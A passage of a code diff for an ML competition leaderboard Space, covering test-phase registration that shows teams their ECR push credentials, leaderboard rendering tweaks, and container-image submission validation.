"Could not read the test-phase shortlist, so your eligibility "
|
| 613 |
+
"cannot be checked. This is on our side, not yours. Please retry "
|
| 614 |
+
"in a few minutes and contact the organizers if it persists."
|
| 615 |
+
)
|
| 616 |
+
try:
|
| 617 |
+
pairs = validation_pairs(api)
|
| 618 |
+
except Exception as e:
|
| 619 |
+
print(f"[register_test] validation results unavailable: {e!r}")
|
| 620 |
+
return False, (
|
| 621 |
+
"Could not read the validation results, so your eligibility cannot "
|
| 622 |
+
"be checked. This is on our side, not yours. Please retry in a few "
|
| 623 |
+
"minutes and contact the organizers if it persists."
|
| 624 |
+
)
|
| 625 |
+
try:
|
| 626 |
+
creds = load_credentials(api)
|
| 627 |
+
except EntryNotFoundError:
|
| 628 |
+
# No file yet is a STATE, not a failure: nothing has been issued. Fall
|
| 629 |
+
# through so the accurate "not issued yet" message below is the one the
|
| 630 |
+
# participant sees, after their eligibility has actually been decided.
|
| 631 |
+
print("[register_test] no credentials file deposited yet")
|
| 632 |
+
creds = {}
|
| 633 |
+
except Exception as e:
|
| 634 |
+
print(f"[register_test] credentials unavailable: {e!r}")
|
| 635 |
+
return False, (
|
| 636 |
+
"Your registry credentials could not be read. This is on our side, "
|
| 637 |
+
"not yours. Contact the organizers."
|
| 638 |
+
)
|
| 639 |
+
|
| 640 |
+
ok, why = check(hf_user, team_name, track, division, pairs, shortlist)
|
| 641 |
+
if not ok:
|
| 642 |
+
return False, why
|
| 643 |
+
|
| 644 |
+
team = normalize_team(team_name)
|
| 645 |
+
seat = shortlist.get(team, {}).get(subtrack(track, division), {})
|
| 646 |
+
cred = creds.get(team)
|
| 647 |
+
if not cred:
|
| 648 |
+
# Shortlisted but no key deposited: an organizer omission, not the
|
| 649 |
+
# participant's error, so it must not read as a refusal.
|
| 650 |
+
print(f"[register_test] no credential deposited for shortlisted team {team!r}")
|
| 651 |
+
return False, (
|
| 652 |
+
"Your team is shortlisted, but your registry credentials have not "
|
| 653 |
+
"been issued yet. Contact the organizers — this is on our side."
|
| 654 |
+
)
|
| 655 |
+
|
| 656 |
+
try:
|
| 657 |
+
_record(
|
| 658 |
+
api, hf_user, team, track, division, roster, poc_record, model, seat,
|
| 659 |
+
total_params, cred,
|
| 660 |
+
)
|
| 661 |
+
except Exception as e:
|
| 662 |
+
# The ledger is how we know a key was handed out. Refuse rather than
|
| 663 |
+
# disclose unrecorded: a re-try costs the team a minute, an unlogged
|
| 664 |
+
# disclosure is permanently unaccountable.
|
| 665 |
+
print(f"[register_test] ledger write failed for {team!r}: {e!r}")
|
| 666 |
+
return False, (
|
| 667 |
+
"Could not complete registration. Please retry; contact the "
|
| 668 |
+
"organizers if it persists."
|
| 669 |
+
)
|
| 670 |
+
|
| 671 |
+
return True, render_credentials(
|
| 672 |
+
team_name, track, division, cred, shortlist.get(team, {}),
|
| 673 |
+
model, seat, total_params,
|
| 674 |
+
)
|
| 675 |
+
|
| 676 |
+
|
| 677 |
+
def render_credentials(
|
| 678 |
+
team_name: str,
|
| 679 |
+
track: str,
|
| 680 |
+
division: str,
|
| 681 |
+
cred: dict,
|
| 682 |
+
seats: dict,
|
| 683 |
+
model_name: str,
|
| 684 |
+
seat: dict,
|
| 685 |
+
total_params: int,
|
| 686 |
+
) -> str:
|
| 687 |
+
"""The markdown shown once a sub-track registration is accepted."""
|
| 688 |
+
region = cred.get("region", "us-east-2")
|
| 689 |
+
repo = cred.get("repo_uri", "")
|
| 690 |
+
registry = repo.split("/", 1)[0] if "/" in repo else repo
|
| 691 |
+
this = f"{config.TRACK_LABELS.get(track, track)} / {division.capitalize()}"
|
| 692 |
+
others = sorted(s for s in seats if s != subtrack(track, division))
|
| 693 |
+
earned = (
|
| 694 |
+
f"\n\nThis seat was earned at validation by **{seat['model_name']}**"
|
| 695 |
+
+ (
|
| 696 |
+
f" ({seat['total_params'] / 1e9:g}B declared)."
|
| 697 |
+
if seat.get("total_params")
|
| 698 |
+
else "."
|
| 699 |
+
)
|
| 700 |
+
+ " You do not have to submit that same model."
|
| 701 |
+
if seat.get("model_name")
|
| 702 |
+
else ""
|
| 703 |
+
)
|
| 704 |
+
_note = size_note(seat, total_params)
|
| 705 |
+
note = f"\n\n{_note}" if _note else ""
|
| 706 |
+
remaining = (
|
| 707 |
+
"\n\nYou are also shortlisted for **"
|
| 708 |
+
+ "**, **".join(others)
|
| 709 |
+
+ "**. Register each one separately, declaring that model's size."
|
| 710 |
+
if others
|
| 711 |
+
else ""
|
| 712 |
+
)
|
| 713 |
+
return f"""✅ **{team_name.strip()} is registered for {this}.**
|
| 714 |
+
|
| 715 |
+
Recorded for this sub-track: **{model_name}**, **{total_params / 1e9:g}B total parameters** including any frozen backbone. Parameter counts are verified against this declaration.{earned}{note}{remaining}
|
| 716 |
+
|
| 717 |
+
**Copy these now.** They are shown here whenever you sign in and re-register, but
|
| 718 |
+
never send them to anyone, including the organizers.
|
| 719 |
+
|
| 720 |
+
| | |
|
| 721 |
+
| --- | --- |
|
| 722 |
+
| Repository URI | `{repo}` |
|
| 723 |
+
| Region | `{region}` |
|
| 724 |
+
| Access key ID | `{cred.get('access_key_id', '')}` |
|
| 725 |
+
| Secret access key | `{cred.get('secret_access_key', '')}` |
|
| 726 |
+
|
| 727 |
+
```bash
|
| 728 |
+
export AWS_ACCESS_KEY_ID={cred.get('access_key_id', '')}
|
| 729 |
+
export AWS_SECRET_ACCESS_KEY={cred.get('secret_access_key', '')}
|
| 730 |
+
|
| 731 |
+
aws ecr get-login-password --region {region} \\
|
| 732 |
+
| docker login --username AWS --password-stdin {registry}
|
| 733 |
+
|
| 734 |
+
docker tag <your-local-image> {repo}:v1
|
| 735 |
+
docker push {repo}:v1
|
| 736 |
+
```
|
| 737 |
+
|
| 738 |
+
This account can read and write **only** `{repo}`.
|
| 739 |
+
|
| 740 |
+
Once the push finishes, come back to the **Submit** tab and register the digest.
|
| 741 |
+
"""
|
results.py
CHANGED
|
@@ -37,6 +37,10 @@ METRIC_LABEL = {"accuracy": "Accuracy", "bleu": "BLEU",
|
|
| 37 |
|
| 38 |
DIVISION_LABEL = {"small": "Small Model (≤ 2B)", "large": "Large Model (2B+)"}
|
| 39 |
|
|
|
|
|
|
|
|
|
|
|
|
|
| 40 |
|
| 41 |
def empty_results() -> pd.DataFrame:
|
| 42 |
"""An empty results frame with the expected columns."""
|
|
@@ -192,12 +196,17 @@ def _board_html(df: pd.DataFrame, track: str, division: str, phase: str,
|
|
| 192 |
if show_proxy else "")
|
| 193 |
lat_th = ('<th class="lb-th-lat">Latency P50/P90 (<span class="lb-lc">ms</span>)</th>'
|
| 194 |
if show_lat else "")
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 195 |
return (
|
| 196 |
f'<div class="lb-board">{head}<div class="lb-scroll"><table>'
|
| 197 |
f'<thead><tr><th>#</th><th>Team</th><th>Model</th><th>Params</th>'
|
| 198 |
f'<th>Open</th><th class="lb-th-score">{metric_th}</th>{proxy_th}{lat_th}'
|
| 199 |
f'<th class="lb-th-sub">Submitted</th>'
|
| 200 |
-
f'</tr></thead><tbody>{"".join(body)}</tbody></table></div></div>'
|
| 201 |
)
|
| 202 |
|
| 203 |
|
|
@@ -229,15 +238,48 @@ def _boards_inner(df: pd.DataFrame, phase: str, open_only: bool = False) -> str:
|
|
| 229 |
return "".join(sections)
|
| 230 |
|
| 231 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 232 |
def board_document(df: pd.DataFrame, phase: str = "val",
|
| 233 |
-
open_only: bool = False) -> str:
|
| 234 |
"""A complete, standalone HTML document for the leaderboard.
|
| 235 |
|
| 236 |
Rendered inside an <iframe srcdoc> so it is fully isolated from the host
|
| 237 |
page's CSS (pixel-identical to the design mock). A small script self-sizes
|
| 238 |
the iframe to the content height.
|
|
|
|
|
|
|
|
|
|
|
|
|
| 239 |
"""
|
| 240 |
-
ts = datetime.now(timezone.utc).strftime("%Y-%m-%d %H:%M:%S")
|
| 241 |
return (
|
| 242 |
"<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'>"
|
| 243 |
"<meta name='viewport' content='width=device-width, initial-scale=1'>"
|
|
@@ -247,7 +289,7 @@ def board_document(df: pd.DataFrame, phase: str = "val",
|
|
| 247 |
"&family=IBM+Plex+Sans:wght@400;600;700&display=swap' rel='stylesheet'>"
|
| 248 |
f"<style>{_DOC_CSS}</style></head><body>"
|
| 249 |
f"<div id='lbroot'>{_boards_inner(df, phase, open_only)}"
|
| 250 |
-
f"<div class='lb-updated'>
|
| 251 |
"<script>"
|
| 252 |
# WIDTH: an <iframe> is a replaced element with a 300px intrinsic width, so
|
| 253 |
# Gradio 6's flex wrappers shrink-wrap it (CSS width:100% loses to their
|
|
@@ -269,7 +311,23 @@ def board_document(df: pd.DataFrame, phase: str = "val",
|
|
| 269 |
"var h=Math.ceil(r.getBoundingClientRect().height)+16;"
|
| 270 |
"var cur=parseInt(window.frameElement.style.height||'0',10)||0;"
|
| 271 |
"if(h>40&&Math.abs(h-cur)>2)window.frameElement.style.height=h+'px';}catch(e){}}"
|
| 272 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 273 |
"window.addEventListener('load',fit);"
|
| 274 |
"window.addEventListener('resize',fit);"
|
| 275 |
"if(window.parent)window.parent.addEventListener('resize',fit);"
|
|
@@ -295,14 +353,16 @@ body{font-family:var(--lb-sans);color:var(--lb-text);background:transparent;padd
|
|
| 295 |
.lb-board{min-width:0}
|
| 296 |
.lb-board{background:var(--lb-surface);border:1px solid var(--lb-border);border-radius:12px;overflow:hidden}
|
| 297 |
.lb-board-head{padding:.6rem .9rem;border-bottom:1px solid var(--lb-border);font-weight:600;font-size:.9rem}
|
| 298 |
-
/*
|
| 299 |
-
|
| 300 |
-
|
|
|
|
| 301 |
table{width:auto;border-collapse:collapse;table-layout:auto;font-size:.83rem;border:0;margin:0}
|
| 302 |
/* Even column spacing, tight enough that the widest column drives the layout. */
|
| 303 |
th,td{padding-right:1.1rem}
|
| 304 |
th:last-child,td:last-child{padding-right:.55rem}
|
| 305 |
-
|
|
|
|
| 306 |
tbody td{padding:.4rem .55rem;border-bottom:1px solid var(--lb-border);color:var(--lb-text);white-space:nowrap;vertical-align:middle}
|
| 307 |
tbody tr:last-child td{border-bottom:0}
|
| 308 |
tbody tr:hover td{background:var(--lb-hover)}
|
|
@@ -319,8 +379,11 @@ tr.lb-top .lb-rank{color:var(--lb-gold)}
|
|
| 319 |
.lb-model{color:var(--lb-sec);font-size:.78rem;white-space:normal;overflow-wrap:anywhere;max-width:22ch;line-height:1.3}
|
| 320 |
.lb-params small{color:var(--lb-faint)}
|
| 321 |
.lb-score{font-weight:600}
|
| 322 |
-
/* Subtle tint on the primary-metric column (header + cells).
|
| 323 |
-
|
|
|
|
|
|
|
|
|
|
| 324 |
.lb-lat{color:var(--lb-sec);font-size:.8rem}
|
| 325 |
.lb-proxy{font-family:var(--lb-mono);color:var(--lb-sec);font-size:.8rem}
|
| 326 |
.lb-th-proxy{color:var(--lb-faint)}
|
|
@@ -328,6 +391,8 @@ tr.lb-top .lb-rank{color:var(--lb-gold)}
|
|
| 328 |
.lb-selfrep{display:inline-block;font-family:var(--lb-sans);font-size:.6rem;font-weight:600;text-transform:none;letter-spacing:0;padding:1px 5px;border-radius:6px;vertical-align:middle;background:#fff8e8;color:#8a6d00;border:1px solid #f0c36d}
|
| 329 |
th .lb-lc{text-transform:none}
|
| 330 |
.lb-empty{padding:1.3rem;color:var(--lb-faint);font-style:italic;text-align:center;font-size:.85rem}
|
|
|
|
|
|
|
| 331 |
.lb-note{font-size:.78rem;color:var(--lb-faint);margin-top:.55rem}
|
| 332 |
.lb-note b{color:var(--lb-sec);font-weight:600}
|
| 333 |
"""
|
|
|
|
| 37 |
|
| 38 |
DIVISION_LABEL = {"small": "Small Model (≤ 2B)", "large": "Large Model (2B+)"}
|
| 39 |
|
| 40 |
+
# Rows visible per board before it scrolls. Keeps a 34-entry track from burying
|
| 41 |
+
# the tracks below it; the remaining rows are still rendered, just scrolled to.
|
| 42 |
+
VISIBLE_ROWS = 15
|
| 43 |
+
|
| 44 |
|
| 45 |
def empty_results() -> pd.DataFrame:
|
| 46 |
"""An empty results frame with the expected columns."""
|
|
|
|
| 196 |
if show_proxy else "")
|
| 197 |
lat_th = ('<th class="lb-th-lat">Latency P50/P90 (<span class="lb-lc">ms</span>)</th>'
|
| 198 |
if show_lat else "")
|
| 199 |
+
# Boards are capped to VISIBLE_ROWS on screen and scroll for the rest (the
|
| 200 |
+
# exact pixel height is measured in JS, since wrapped model names make rows
|
| 201 |
+
# variable-height). Every entry is still in the DOM — nothing is dropped.
|
| 202 |
+
more = (f'<div class="lb-more">Showing top {VISIBLE_ROWS} of {len(rows)}'
|
| 203 |
+
f' — scroll for the rest</div>' if len(rows) > VISIBLE_ROWS else "")
|
| 204 |
return (
|
| 205 |
f'<div class="lb-board">{head}<div class="lb-scroll"><table>'
|
| 206 |
f'<thead><tr><th>#</th><th>Team</th><th>Model</th><th>Params</th>'
|
| 207 |
f'<th>Open</th><th class="lb-th-score">{metric_th}</th>{proxy_th}{lat_th}'
|
| 208 |
f'<th class="lb-th-sub">Submitted</th>'
|
| 209 |
+
f'</tr></thead><tbody>{"".join(body)}</tbody></table></div>{more}</div>'
|
| 210 |
)
|
| 211 |
|
| 212 |
|
|
|
|
| 238 |
return "".join(sections)
|
| 239 |
|
| 240 |
|
| 241 |
+
def _footer_line(df: pd.DataFrame, phase: str, refresh_s: int | None) -> str:
|
| 242 |
+
"""The one line under the board, saying how fresh it is.
|
| 243 |
+
|
| 244 |
+
Two different claims, and using the wrong one is how a frozen board comes to
|
| 245 |
+
advertise a refresh that never happens. A live board reports when it was
|
| 246 |
+
rendered and how often it re-renders. A frozen one reports the age of the
|
| 247 |
+
DATA, because its render time says nothing: re-rendering a final board every
|
| 248 |
+
minute would keep updating a timestamp that no longer means anything.
|
| 249 |
+
"""
|
| 250 |
+
if refresh_s:
|
| 251 |
+
ts = datetime.now(timezone.utc).strftime("%Y-%m-%d %H:%M:%S")
|
| 252 |
+
every = (
|
| 253 |
+
f"{refresh_s // 60} min"
|
| 254 |
+
if refresh_s >= 60 and refresh_s % 60 == 0
|
| 255 |
+
else f"{refresh_s}s"
|
| 256 |
+
)
|
| 257 |
+
return f"Updated {ts} UTC · auto-refreshes every {every}"
|
| 258 |
+
last = ""
|
| 259 |
+
if df is not None and not df.empty and "verified_at" in df:
|
| 260 |
+
rows = df[(df["phase"] == phase) & (df["status"] == "FINISHED")]
|
| 261 |
+
stamps = sorted(str(v) for v in rows["verified_at"].dropna() if str(v))
|
| 262 |
+
if stamps:
|
| 263 |
+
last = stamps[-1].replace("T", " ").replace("Z", "")
|
| 264 |
+
return (
|
| 265 |
+
f"Final standings · last scored submission {last} UTC"
|
| 266 |
+
if last
|
| 267 |
+
else "Final standings"
|
| 268 |
+
)
|
| 269 |
+
|
| 270 |
+
|
| 271 |
def board_document(df: pd.DataFrame, phase: str = "val",
|
| 272 |
+
open_only: bool = False, refresh_s: int | None = None) -> str:
|
| 273 |
"""A complete, standalone HTML document for the leaderboard.
|
| 274 |
|
| 275 |
Rendered inside an <iframe srcdoc> so it is fully isolated from the host
|
| 276 |
page's CSS (pixel-identical to the design mock). A small script self-sizes
|
| 277 |
the iframe to the content height.
|
| 278 |
+
|
| 279 |
+
refresh_s is what the footer ADVERTISES, so the caller passes the interval it
|
| 280 |
+
actually set on the timer. It used to be hardcoded at 60, which meant the
|
| 281 |
+
Test board claimed 60s while refreshing every 120.
|
| 282 |
"""
|
|
|
|
| 283 |
return (
|
| 284 |
"<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'>"
|
| 285 |
"<meta name='viewport' content='width=device-width, initial-scale=1'>"
|
|
|
|
| 289 |
"&family=IBM+Plex+Sans:wght@400;600;700&display=swap' rel='stylesheet'>"
|
| 290 |
f"<style>{_DOC_CSS}</style></head><body>"
|
| 291 |
f"<div id='lbroot'>{_boards_inner(df, phase, open_only)}"
|
| 292 |
+
f"<div class='lb-updated'>{_footer_line(df, phase, refresh_s)}</div></div>"
|
| 293 |
"<script>"
|
| 294 |
# WIDTH: an <iframe> is a replaced element with a 300px intrinsic width, so
|
| 295 |
# Gradio 6's flex wrappers shrink-wrap it (CSS width:100% loses to their
|
|
|
|
| 311 |
"var h=Math.ceil(r.getBoundingClientRect().height)+16;"
|
| 312 |
"var cur=parseInt(window.frameElement.style.height||'0',10)||0;"
|
| 313 |
"if(h>40&&Math.abs(h-cur)>2)window.frameElement.style.height=h+'px';}catch(e){}}"
|
| 314 |
+
# ROW CAP: show VISIBLE_ROWS per board, scroll for the rest. Rows are
|
| 315 |
+
# variable-height (the Model column wraps), so the cut point is measured
|
| 316 |
+
# rather than assumed: the delta between row 0 and row N's offsetTop is
|
| 317 |
+
# exactly N rows tall, and being a difference it is unaffected by the
|
| 318 |
+
# container's current scroll position (so a resize mid-scroll is safe).
|
| 319 |
+
f"var LB_ROWS={VISIBLE_ROWS};"
|
| 320 |
+
"function fitRows(){try{"
|
| 321 |
+
"var els=document.querySelectorAll('.lb-scroll');"
|
| 322 |
+
"for(var i=0;i<els.length;i++){var el=els[i];"
|
| 323 |
+
"var t=el.querySelector('table');"
|
| 324 |
+
"if(!t||!t.tBodies[0]){continue;}"
|
| 325 |
+
"var rows=t.tBodies[0].rows;"
|
| 326 |
+
"if(rows.length<=LB_ROWS){el.style.maxHeight='';continue;}"
|
| 327 |
+
"var head=t.tHead?t.tHead.getBoundingClientRect().height:0;"
|
| 328 |
+
"var h=head+(rows[LB_ROWS].offsetTop-rows[0].offsetTop);"
|
| 329 |
+
"if(h>40){el.style.maxHeight=Math.ceil(h)+'px';}}}catch(e){}}"
|
| 330 |
+
"function fit(){fitW();fitRows();fitH();}"
|
| 331 |
"window.addEventListener('load',fit);"
|
| 332 |
"window.addEventListener('resize',fit);"
|
| 333 |
"if(window.parent)window.parent.addEventListener('resize',fit);"
|
|
|
|
| 353 |
.lb-board{min-width:0}
|
| 354 |
.lb-board{background:var(--lb-surface);border:1px solid var(--lb-border);border-radius:12px;overflow:hidden}
|
| 355 |
.lb-board-head{padding:.6rem .9rem;border-bottom:1px solid var(--lb-border);font-weight:600;font-size:.9rem}
|
| 356 |
+
/* Scrolls rather than clipping against the board's overflow:hidden (which is
|
| 357 |
+
what rounds the corners): horizontally as a last-resort width guard, and
|
| 358 |
+
vertically once a board exceeds VISIBLE_ROWS (max-height set in JS). */
|
| 359 |
+
.lb-scroll{overflow:auto;max-width:100%;overscroll-behavior:contain}
|
| 360 |
table{width:auto;border-collapse:collapse;table-layout:auto;font-size:.83rem;border:0;margin:0}
|
| 361 |
/* Even column spacing, tight enough that the widest column drives the layout. */
|
| 362 |
th,td{padding-right:1.1rem}
|
| 363 |
th:last-child,td:last-child{padding-right:.55rem}
|
| 364 |
+
/* Sticky so the metric header stays put while a long board scrolls. */
|
| 365 |
+
thead th{font-family:var(--lb-mono);font-size:.66rem;letter-spacing:.04em;text-transform:uppercase;color:var(--lb-faint);font-weight:600;text-align:left;padding:.42rem .55rem;white-space:nowrap;border-bottom:1px solid var(--lb-border);position:sticky;top:0;z-index:1;background:var(--lb-surface)}
|
| 366 |
tbody td{padding:.4rem .55rem;border-bottom:1px solid var(--lb-border);color:var(--lb-text);white-space:nowrap;vertical-align:middle}
|
| 367 |
tbody tr:last-child td{border-bottom:0}
|
| 368 |
tbody tr:hover td{background:var(--lb-hover)}
|
|
|
|
| 379 |
.lb-model{color:var(--lb-sec);font-size:.78rem;white-space:normal;overflow-wrap:anywhere;max-width:22ch;line-height:1.3}
|
| 380 |
.lb-params small{color:var(--lb-faint)}
|
| 381 |
.lb-score{font-weight:600}
|
| 382 |
+
/* Subtle tint on the primary-metric column (header + cells). The header is
|
| 383 |
+
sticky, so its tint is layered over an opaque surface or rows would show
|
| 384 |
+
through it while scrolling. */
|
| 385 |
+
.lb-score{background:rgba(124,108,211,.06)}
|
| 386 |
+
.lb-th-score{background:linear-gradient(rgba(124,108,211,.06),rgba(124,108,211,.06)),var(--lb-surface)}
|
| 387 |
.lb-lat{color:var(--lb-sec);font-size:.8rem}
|
| 388 |
.lb-proxy{font-family:var(--lb-mono);color:var(--lb-sec);font-size:.8rem}
|
| 389 |
.lb-th-proxy{color:var(--lb-faint)}
|
|
|
|
| 391 |
.lb-selfrep{display:inline-block;font-family:var(--lb-sans);font-size:.6rem;font-weight:600;text-transform:none;letter-spacing:0;padding:1px 5px;border-radius:6px;vertical-align:middle;background:#fff8e8;color:#8a6d00;border:1px solid #f0c36d}
|
| 392 |
th .lb-lc{text-transform:none}
|
| 393 |
.lb-empty{padding:1.3rem;color:var(--lb-faint);font-style:italic;text-align:center;font-size:.85rem}
|
| 394 |
+
/* macOS overlay scrollbars are invisible until you scroll, so say it in text. */
|
| 395 |
+
.lb-more{padding:.4rem .55rem;border-top:1px solid var(--lb-border);font-size:.72rem;color:var(--lb-faint);font-family:var(--lb-mono)}
|
| 396 |
.lb-note{font-size:.78rem;color:var(--lb-faint);margin-top:.55rem}
|
| 397 |
.lb-note b{color:var(--lb-sec);font-weight:600}
|
| 398 |
"""
|
submit.py
CHANGED
|
@@ -200,6 +200,11 @@ def validate_and_submit(
|
|
| 200 |
token: str,
|
| 201 |
) -> tuple[bool, str]:
|
| 202 |
"""Full submit path. Returns (ok, message_for_user)."""
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 203 |
if not team_name.strip():
|
| 204 |
return False, "Team name is required."
|
| 205 |
if not token:
|
|
|
|
| 200 |
token: str,
|
| 201 |
) -> tuple[bool, str]:
|
| 202 |
"""Full submit path. Returns (ok, message_for_user)."""
|
| 203 |
+
# First, and before anything is read or written. A closed phase is not a
|
| 204 |
+
# validation failure, so it is not reported through validate_only(): a team
|
| 205 |
+
# whose file is fine should not be told to fix it.
|
| 206 |
+
if not config.VAL_PHASE_OPEN:
|
| 207 |
+
return False, config.VAL_CLOSED_NOTICE
|
| 208 |
if not team_name.strip():
|
| 209 |
return False, "Team name is required."
|
| 210 |
if not token:
|
submit_test.py
ADDED
|
@@ -0,0 +1,338 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
"""Test-phase submission handling: register a container image, not predictions.
|
| 2 |
+
|
| 3 |
+
Shortlisted teams push an image to their own ECR repository and register its
|
| 4 |
+
DIGEST here. The organizers' evaluation worker, which runs outside this Space, polls the
|
| 5 |
+
requests dataset, pulls that exact digest, runs it against the held-out split on
|
| 6 |
+
the cluster and publishes the score. Nothing in this module touches the image or
|
| 7 |
+
the gold; it writes a request.json and stops.
|
| 8 |
+
|
| 9 |
+
Two things this file is responsible for, both of which exist because the worker
|
| 10 |
+
lives in a different repository and cannot import this one:
|
| 11 |
+
|
| 12 |
+
1. The request it writes must be one the worker's parse_request() accepts. The
|
| 13 |
+
field names below are that contract. tests/test_submit_test.py pins the shape.
|
| 14 |
+
2. The validation it applies must not be looser OR tighter than the worker's. A
|
| 15 |
+
reference this accepts and the worker rejects strands the team with a
|
| 16 |
+
submission that can never be scored; one this rejects and the worker would
|
| 17 |
+
have taken turns the board into the stricter gate by accident. The regexes and
|
| 18 |
+
the cap live in config.py and are quoted from the worker.
|
| 19 |
+
|
| 20 |
+
The per-track cap is enforced on both sides on purpose. This side gives the team
|
| 21 |
+
an immediate, readable refusal; the worker's side is the one that actually
|
| 22 |
+
protects the GPU budget, because the board is a client and a client is not a
|
| 23 |
+
gate.
|
| 24 |
+
"""
|
| 25 |
+
|
| 26 |
+
from __future__ import annotations
|
| 27 |
+
|
| 28 |
+
import io
|
| 29 |
+
import json
|
| 30 |
+
import random
|
| 31 |
+
import re
|
| 32 |
+
import string
|
| 33 |
+
from datetime import datetime, timezone
|
| 34 |
+
|
| 35 |
+
from huggingface_hub import HfApi, hf_hub_download
|
| 36 |
+
|
| 37 |
+
import config
|
| 38 |
+
|
| 39 |
+
_ECR_REF = re.compile(config.ECR_REF_RE)
|
| 40 |
+
_DIGEST = re.compile(config.DIGEST_RE)
|
| 41 |
+
|
| 42 |
+
|
| 43 |
+
def _now_iso() -> str:
|
| 44 |
+
return datetime.now(timezone.utc).strftime("%Y-%m-%dT%H:%M:%SZ")
|
| 45 |
+
|
| 46 |
+
|
| 47 |
+
def _new_sid() -> str:
|
| 48 |
+
stamp = datetime.now(timezone.utc).strftime("%Y-%m-%dT%H-%M-%S")
|
| 49 |
+
suffix = "".join(random.choices(string.ascii_lowercase + string.digits, k=6))
|
| 50 |
+
return f"{stamp}_{suffix}"
|
| 51 |
+
|
| 52 |
+
|
| 53 |
+
def parse_image_ref(ref: str, digest: str = "") -> tuple[bool, str]:
|
| 54 |
+
"""Validate one image reference. Returns (ok, message).
|
| 55 |
+
|
| 56 |
+
Takes either form, because they are equally pinned on this setup and a tag
|
| 57 |
+
is far easier to type than 64 hex characters:
|
| 58 |
+
|
| 59 |
+
<repo>:<tag>
|
| 60 |
+
<repo>@sha256:<64 hex>
|
| 61 |
+
|
| 62 |
+
A tag is safe here for two specific reasons, not in general. Participant
|
| 63 |
+
repositories are created with --image-tag-mutability IMMUTABLE, so a tag
|
| 64 |
+
cannot be overwritten, and the per-team policy grants no ecr:Delete*, so a
|
| 65 |
+
